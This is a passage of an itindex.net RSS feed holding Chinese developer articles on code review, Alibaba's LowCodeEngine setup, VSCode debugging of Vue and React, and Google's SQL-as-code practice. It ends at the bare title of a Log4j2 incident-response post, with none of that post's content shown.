&lt;h3&gt;只要我在团队推行了CodeReview流程，代码质量就会迅速提高？&lt;/h3&gt; &lt;p&gt;  首先可以肯定的是代码质量是会提高的，但也许没有那么快。我之前从一个没有CodeReview流程的团队加入到一个有严格CodeReview流程的团队时，有较长一段适应期。我当时最大的感受就是CodeReview太耗时间了，尤其是我刚开始还没适应新团队开发规范的时候，写代码和被Review后改代码所花费的时间基本上五五开，当然之后会好很多。另外，每个人也需要花20%左右的时间和精力去Review别人的代码，相当于花接近三分之一的开发时间来处理CodeReview相关工作，这个比例高到可能你们老板都会怀疑，但我们当时就做到了，结果就是我们的代码质量非常高。     &lt;/p&gt; &lt;p&gt;  以我的经历来看，如果CodeReview想要有效果，时间投入肯定是少不了的，冰冻三尺非一日之寒,滴水石穿非一日之功。不要高估它的短期价值，也不要低估它的长期价值。&lt;/p&gt; &lt;h1&gt;参考资料&lt;/h1&gt; &lt;ol&gt;  &lt;li&gt;   &lt;a href="https://github.com/xindoo/eng-practices-cn" rel="nofollow noreferrer"&gt;谷歌工程实践——代码评审&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt; &lt;hr&gt;&lt;/hr&gt; &lt;p&gt;  今天的分享都到这里了，大家也都知道现在外面大环境不好，这个时候更不能停下松懈的脚步。刘易斯·卡罗尔在《爱丽丝梦游仙境》中借红桃皇后之口说出了下面这句话，现在看来也是出奇的合适呢！&lt;/p&gt; &lt;blockquote&gt;在我们这个地方，你必须不停地奔跑，才能留在原地。如果你要抵达另一个地方，必须以双倍于现在的速度奔跑。  &lt;br /&gt;——【英】刘易斯·卡罗尔《爱丽丝梦游仙境》&lt;/blockquote&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>codereview 代码评审</category>
      <guid isPermaLink="true">https://itindex.net/detail/62269-%E4%BB%A3%E7%A0%81%E8%AF%84%E5%AE%A1-codereview</guid>
      <pubDate>Mon, 23 May 2022 18:17:12 CST</pubDate>
    </item>
    <item>
      <title>解放双手！推荐一款阿里开源的低代码工具，YYDS！</title>
      <link>https://itindex.net/detail/62221-%E8%A7%A3%E6%94%BE-%E5%8F%8C%E6%89%8B-%E9%98%BF%E9%87%8C</link>
      <description>&lt;blockquote&gt;
  &lt;p&gt;之前分享过一些低代码相关的文章，发现大家还是比较感兴趣的。之前在我印象中低代码就是通过图形化界面来生成代码而已，其实真正的低代码不仅要负责生成代码，还要负责代码的维护，把它当做一站式开发平台也不为过！最近体验了一把阿里开源的低代码工具   &lt;code&gt;LowCodeEngine&lt;/code&gt;，确实是一款面向企业级的低代码解决方案，推荐给大家！&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;SpringBoot实战电商项目mall（50k+star）地址：  &lt;a href="https://github.com/macrozheng/mall"&gt;https://github.com/macrozheng/mall&lt;/a&gt;&lt;/p&gt;
 &lt;h2&gt;LowCodeEngine简介&lt;/h2&gt;
 &lt;p&gt;LowCodeEngine是阿里开源的一套面向扩展设计的企业级低代码技术体系，目前在在Github上已有  &lt;code&gt;4.7K+Star&lt;/code&gt;。这个项目大概是今年2月中旬开源的，两个月不到收获这么多Star，确实非常厉害！&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/a4507e7c0e5341618f46bfb3247ca81e~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;LowCodeEngine主要具有如下特性：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;提炼自企业级低代码平台的低代码引擎，奉行高度可扩展、最小内核、最强生态的设计理念；&lt;/li&gt;
  &lt;li&gt;部署简单，基本上就是开箱即用，拥有完善的物料体系、功能强大的设置器、丰富的插件等；&lt;/li&gt;
  &lt;li&gt;可视化编辑器具有完善的工具链，支持物料体系、设置器、插件等生态元素；&lt;/li&gt;
  &lt;li&gt;强大的扩展能力，已支撑近 100 个各种垂直类低代码平台；&lt;/li&gt;
  &lt;li&gt;使用 TypeScript 开发，能生成基于React的前端代码。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;下面是LowCodeEngine使用过程中的一张效果图，功能还是很强大的！&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/395487c1d87d46a585f571809cffbb0c~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;搭建低代码平台&lt;/h2&gt;
 &lt;blockquote&gt;
  &lt;p&gt;接下来我们将使用LowCodeEngine搭建一个低代码开发平台，仅需5分钟，可以说是开箱即用！&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;ul&gt;
  &lt;li&gt;首先我们需要想下载LowCodeEngine编辑器的示例代码，下载地址：https://github.com/alibaba/lowcode-demo&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/726b28ca9ac44bba8b705177d8fdaae5~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;下载成功后解压到指定目录，安装此项目需要使用   &lt;code&gt;Node.js&lt;/code&gt;和   &lt;code&gt;npm&lt;/code&gt;，确保已经安装完毕，由于依赖中有些   &lt;code&gt;npm源&lt;/code&gt;无法访问，这里推荐使用   &lt;code&gt;cnpm&lt;/code&gt;来安装，先使用如下命令安装   &lt;code&gt;cnpm&lt;/code&gt;；&lt;/li&gt;
&lt;/ul&gt;
 &lt;pre&gt;  &lt;code&gt;npm install -g cnpm --registry=https://registry.npmmirror.com
&lt;/code&gt;&lt;/pre&gt;
 &lt;ul&gt;
  &lt;li&gt;   &lt;code&gt;cnpm&lt;/code&gt;安装成功后，进入解压目录使用如下命令安装依赖；&lt;/li&gt;
&lt;/ul&gt;
 &lt;pre&gt;  &lt;code&gt;cnpm install
&lt;/code&gt;&lt;/pre&gt;
 &lt;ul&gt;
  &lt;li&gt;依赖安装完成后，使用   &lt;code&gt;npm start&lt;/code&gt;命令启动项目；&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/2280aa7b3c3f4edcaf2233685247dd97~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;项目运行成功后将运行在   &lt;code&gt;5556&lt;/code&gt;端口上，访问地址：http://localhost:5556&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/0798142be6c04aed915639e9fcb47dac~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;使用低代码平台&lt;/h2&gt;
 &lt;blockquote&gt;
  &lt;p&gt;之前在我的开源项目   &lt;a href="https://github.com/macrozheng/mall"&gt;mall&lt;/a&gt;中有个品牌管理功能，接下来我们将使用LowCodeEngine来实现下它，看看低代码开发有何神奇之处！&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h3&gt;目标效果&lt;/h3&gt;
 &lt;p&gt;  &lt;a href="https://github.com/macrozheng/mall"&gt;mall&lt;/a&gt;项目中的品牌管理功能效果如下，这里使用低代码简单实现下品牌列表功能。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/9658706f0687495b8b792fcf89e3d479~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;组件库&lt;/h3&gt;
 &lt;ul&gt;
  &lt;li&gt;首先我们从   &lt;code&gt;组件库&lt;/code&gt;中选择   &lt;code&gt;查询筛选&lt;/code&gt;组件，通过拖拽的形式插入编辑区中；&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/cc7cf823122347c2afb98ad157587969~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;然后选中   &lt;code&gt;查询筛选&lt;/code&gt;组件，通过右侧的   &lt;code&gt;设置器&lt;/code&gt;进行设置；&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/ecb607544b734ddc84768fa8e5aa7554~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;可以点击组件左侧的   &lt;code&gt;编辑&lt;/code&gt;按钮对组件进行详细设置，比如说组件外观和输入提示等；&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/5b7c3b2076f6432a857be74f4cc6e80c~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;接下来再拖拽一个   &lt;code&gt;高级表格&lt;/code&gt;组件到编辑器中去；&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/8b2d76505b9e422f832ac67e975a38bf~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;同样选中   &lt;code&gt;高级表格&lt;/code&gt;组件可以对表格进行设置，我们可以通过   &lt;code&gt;数据列&lt;/code&gt;来设置需要显示的数据。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/aa154000d7774627afe1f425c8327460~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;数据源&lt;/h3&gt;
 &lt;ul&gt;
  &lt;li&gt;由于表格中的数据需要访问接口来获取，这里我们可以通过   &lt;code&gt;数据源&lt;/code&gt;功能来实现，这里我们调用演示环境的API，填入请求参数即可，值得注意的是由于数据列表在   &lt;code&gt;data.list&lt;/code&gt;属性中，我们需要定制下请求成功的处理函数；&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/ab57510b8425473ba2acf35fad3c0f6d~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;接下来选中   &lt;code&gt;高级表格&lt;/code&gt;组件，修改   &lt;code&gt;表格数据源&lt;/code&gt;，选择   &lt;code&gt;表达式输入&lt;/code&gt;，填入我们之前设置的   &lt;code&gt;数据源ID&lt;/code&gt;即可；&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/c5296f7705cc416a89d0e3fcf3a98619~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;然后修改   &lt;code&gt;数据列&lt;/code&gt;信息，将每个数据列   &lt;code&gt;数据字段&lt;/code&gt;修改为JSON数据中对应的属性即可。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/86930bccc6a841f29f7913402f3375eb~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;预览及出码&lt;/h3&gt;
 &lt;ul&gt;
  &lt;li&gt;如果想查看搭建的页面效果的话，点击右上角的   &lt;code&gt;预览&lt;/code&gt;按钮即可；&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/ae9f4798adf44b4e87a9ee79e1b78ca6~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;下面是由低代码生成的页面预览效果；&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/42036e947d08407eaadcb42d27bd7223~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;如果你想获取工具生成的代码的话，点击右上角的   &lt;code&gt;出码&lt;/code&gt;按钮即可，支持直接下载。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/77bba50e86ef407689b0d9d370309744~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;其他功能&lt;/h3&gt;
 &lt;ul&gt;
  &lt;li&gt;如果你想自定义一些函数的话，可以通过   &lt;code&gt;源码面板&lt;/code&gt;进行自定义；&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/eb2dcb6bbcb646a2962391fd40e558a1~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;通过   &lt;code&gt;大纲视图&lt;/code&gt;我们可以查看整个界面的结构。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/4814e3fae13140c098a429cba71b04a9~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;总结&lt;/h2&gt;
 &lt;p&gt;今天体验了一把阿里开源的低代码开发工具，功能确实很强大。但是低代码并不意味着可以不写代码了，想用好低代码工具还得熟悉工具生成的代码。LowCodeEngine目前仅支持生成React的前端代码，所以想要实现更为复杂的业务系统，还得熟悉React。如果有小伙伴想更深入了解低代码的概念，推荐看下这篇文章  &lt;a href="https://mp.weixin.qq.com/s/MI6MrUKKydtnSdO4xq6jwA"&gt;《阿里低代码引擎和生态建设实战及思考》&lt;/a&gt; 。&lt;/p&gt;
 &lt;h2&gt;参考资料&lt;/h2&gt;
 &lt;ul&gt;
  &lt;li&gt;项目地址：https://github.com/alibaba/lowcode-engine&lt;/li&gt;
  &lt;li&gt;项目官网：https://lowcode-engine.cn/&lt;/li&gt;
  &lt;li&gt;操作指南：https://www.yuque.com/lce/usage&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62221-%E8%A7%A3%E6%94%BE-%E5%8F%8C%E6%89%8B-%E9%98%BF%E9%87%8C</guid>
      <pubDate>Tue, 19 Apr 2022 01:31:26 CST</pubDate>
    </item>
    <item>
      <title>如何让 Vue、React 代码的调试变得更爽</title>
      <link>https://itindex.net/detail/62142-vue-react-%E4%BB%A3%E7%A0%81</link>
      <description>&lt;p&gt;作为前端开发，基本每天都要调试 Vue/React 代码，不知道大家都是怎么调试的，但我猜大概有这么几种：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;不调试，直接看代码找问题&lt;/li&gt;
  &lt;li&gt;console.log 打印日志&lt;/li&gt;
  &lt;li&gt;用 Chrome Devtools 的 debugger 来调试&lt;/li&gt;
  &lt;li&gt;用 VSCode 的 debugger 来调试&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;不同的调试方式效率和体验是不一样的，我现在基本都是用 VSCode debugger 来调试，效率又高、体验又爽。&lt;/p&gt;
 &lt;p&gt;可能很多同学还不知道怎么用 VSCode 调试网页，这篇文章我就来介绍下。&lt;/p&gt;
 &lt;p&gt;我们分别看下 React 和 Vue 的：&lt;/p&gt;
 &lt;h2&gt;用 VSCode 调试 React 代码&lt;/h2&gt;
 &lt;p&gt;我用 create-react-app 创建了一个 demo 项目，有这样一个组件：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p6-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/ff612545201f4a82bd5786c05494c6ed~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;跑起来开发服务器：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/1d95946e3f864799950c1a5dda3b95e5~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;浏览器显示的界面是这样的：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/c8096f3cf2224744adc473c9a590d6b7~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;如何用 VSCode 调试它呢？&lt;/p&gt;
 &lt;p&gt;我们在根目录下添加一个 .vscode/launch.json 的配置文件：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/2911f7a404764ac5822994c8b81e85b0~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;创建了一个调试配置，类型是 chrome，并指定调试的 url 是开发服务器的地址。&lt;/p&gt;
 &lt;p&gt;在 react 代码里打两个断点：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p6-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/6925ca06c438489fa3afed016b3ba37d~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;然后点击运行：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/7a6f31d10c7d4498b69a89c1a646572a~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;看，XDM，它断住了！调用栈、当前环境的变量等都有。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/b901411a89114e77a4826b7b987f476d~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;释放断点，继续往下走。&lt;/p&gt;
 &lt;p&gt;点击的时候也能拿到对应的事件对象：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/bbce48e74271462cab30a4096d203907~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;是不是超方便！&lt;/p&gt;
 &lt;p&gt;而且当你写业务累了，想摸鱼看会 react 源码，那直接点击调用栈里的某一帧看就行：&lt;/p&gt;
 &lt;p&gt;比如渲染的时候会调用 renderWithHooks 方法，里面的 workInProgress 对象就是当前 fiber 节点，它的 memorizedState 属性就是 hooks 存放值的地方：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/ff11f95083d34f1fbcf050604aeec3f5~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;用 VSCode 来调试 React 代码之后，调试业务代码或者看源码的体验都很爽，有木有。&lt;/p&gt;
 &lt;p&gt;再来看下 Vue 的：&lt;/p&gt;
 &lt;h2&gt;用 VSCode 调试 Vue 代码&lt;/h2&gt;
 &lt;p&gt;Vue 的调试会麻烦一些，要在上面的基础上额外对路径做一些映射。&lt;/p&gt;
 &lt;p&gt;因为 React 我们是直接写 jsx、tsx，它和编译之后的 js 文件一一对应，而 Vue 不是，Vue 我们写的是 SFC（single file component） 格式的文件，需要 vue-loader 来把它们分成不同的文件，所以路径单独映射一下，才能对应到源码位置。&lt;/p&gt;
 &lt;p&gt;也就是调试配置里多了个 sourceMapPathOverrides：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/5c81c1c4666046aa890eb87766bc289d~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;那怎么映射呢？&lt;/p&gt;
 &lt;p&gt;可以在源码里随便加个 debugger，在浏览器里看下现在映射的路径是啥：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/9f68a9e8f79648bf9b9a0fd7afd6a6db~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;这里的 webpack://test-vue-debug/src/App.vue?11c4 就是要映射的路径，那映射到哪里呢？&lt;/p&gt;
 &lt;p&gt;很明显是映射到本地的路径，也就是这样：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/5b3f98e3e1ad46498ed96d8540115214~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;workspaceRoot 是 vscode 提供的环境变量，就是项目的跟路径，这样一映射之后，地址不就变成本地的文件了么？那么在本地文件中打断点就能生效了：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image.png" src="https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/e9f4a0dd962b42ec8af4e24c72c2e5a6~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;看这里的路径，明显映射到项目下的文件了。&lt;/p&gt;
 &lt;p&gt;但是映射的时候后面还带了个 hash，这个 hash 是会变得，怎么办呢？&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p6-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/060dc1b72e05401883b71f73096f1527~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;这个路径是可以配置的，这其实就是 webpack 生成 sourcemap 的时候的文件路径，可以通过 output.devtoolModuleFilenameTemplate 来配置：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/b0b0b05a215544dcbf4619b36e973028~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;可用的变量大家可以看文档，就不展开了（随便看一下就行）：
  &lt;img alt="" src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/c79d57187a564f07b912f09b55eb67ab~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;比如我把路径配成了这样：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/c68c60ea852f4529bd52600f51170482~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;那调试时的文件路径就是这样的：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/c8720f9522d94b7e9c4e3aa36ca74323~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;前缀不用管，就看后面的部分，这不就去掉了 ?hash 了么&lt;/p&gt;
 &lt;p&gt;然后把它映射到本地文件：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/8f7e9119428749638a39161a630fc8d0~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;这样就又映射上了，在 vscode 打的断点就生效了：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/cb979f25effc4f089fd14a5d435afd23~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;不管你是想调试 Vue 业务代码，还是想看 Vue 源码，体验都会很爽的。&lt;/p&gt;
 &lt;h2&gt;总结&lt;/h2&gt;
 &lt;p&gt;作为前端工程师，调试 Vue、React 代码是每天都要做的事情，不同的调试方式体验和效率都是不一样的。所以我想把我常用的 VSCode 调试网页的方式介绍给大家。&lt;/p&gt;
 &lt;p&gt;React 的调试相对简单，只要添加一个 chrome 类型的 dubug 配置就行，Vue 的调试要麻烦一些，要做一次路径映射，如果路径里有 hash，还要改下生成路径的配置，然后再映射（但也只需要配一次）。&lt;/p&gt;
 &lt;p&gt;用 VSCode 来调试 React/Vue 代码，不管是调试业务代码，还是想看会源码都是很方便的。大家不妨试一下，会让调试这件事情变得很愉悦的。&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62142-vue-react-%E4%BB%A3%E7%A0%81</guid>
      <pubDate>Fri, 04 Mar 2022 12:24:29 CST</pubDate>
    </item>
    <item>
      <title>来自谷歌的开发心得：所有SQL和代码，都没必要藏着掖着</title>
      <link>https://itindex.net/detail/62115-%E8%B0%B7%E6%AD%8C-%E5%BC%80%E5%8F%91-sql</link>
      <description>&lt;p&gt;&lt;/p&gt; &lt;blockquote&gt;  &lt;p&gt;至少从工程技术的角度看，你的项目绝没有想象中那么“见不得光”。&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;谷歌在代码管理上很有特色，他们基于“主干”进行开发，并且将 90% 以上的代码放在名叫 Piper 的单一代码仓库中，由来自世界各国数十个办事处的数万名软件开发人员共享。对于那些开源的、需要外部协作的项目，代码才放在版本管理软件 Git 里，主要是 Android 项目和 Chrome 项目。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;整个仓库采用树状结构，每个团队有自己的目录，目录路径就是代码的命名空间。每个目录都有负责人（owner），负责批准该目录的文件变动。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;这种方法已经在谷歌运行了 20 年以上。2015 年，谷歌的这个代码库就包含了大约十亿个文件，并且具有约 3500 万次提交的历史。代码一般提交到主干的头部，保证所有用户看到的都是同一份代码的最新版本，支持文件级别的权限控制，99% 的代码对所有用户可见。只有少部分重要的配置文件和机密的关键业务，设有访问限制。所有的读写都有日志，管理员能够查到谁读过这个文件。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;与给代码制定各种访问权限的管理方式相比，谷歌的方法带来的好处是很明显的：任何人都可以浏览和使用全公司的代码，大大促进了代码的共享和复用；具有统一的版本和路径，不存在找不到文件的最新版本这样的问题；每次代码变动，很容易撤销或者用预提交测试它所造成的影响…&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;就连 SQL 的管理，谷歌也在一定程度上遵循了这些原则。本文作者是一名数据工程师，给谷歌当了两年的供应商，在期间发现谷歌的数据工程师对待 SQL 的态度，跟软件工程师们对待代码的态度非常相似。他认为这种态度非常重要，无论大小企业都值得在数据战略中采取这样的心态。我们将作者的文章翻译了出来，通过他的文章，我们将一同了解谷歌这种把 SQL 当成代码的态度有哪些助益，又能给体量较小的组织机构带来哪些启示。&lt;/p&gt; &lt;div align="right"&gt;  &lt;a href="https://www.infoq.cn/article/dkx4Z7LxiwUSybs658eV?utm_source=rss&amp;utm_medium=article"&gt;点击查看原文&amp;gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62115-%E8%B0%B7%E6%AD%8C-%E5%BC%80%E5%8F%91-sql</guid>
      <pubDate>Sat, 19 Feb 2022 02:34:27 CST</pubDate>
    </item>
    <item>
      <title>Apache Log4j2 远程代码执行漏洞处置手册 – 绿盟科技技术博客</title>
      <link>https://itindex.net/detail/61950-apache-log4j2-%E4%BB%A3%E7%A0%81</link>
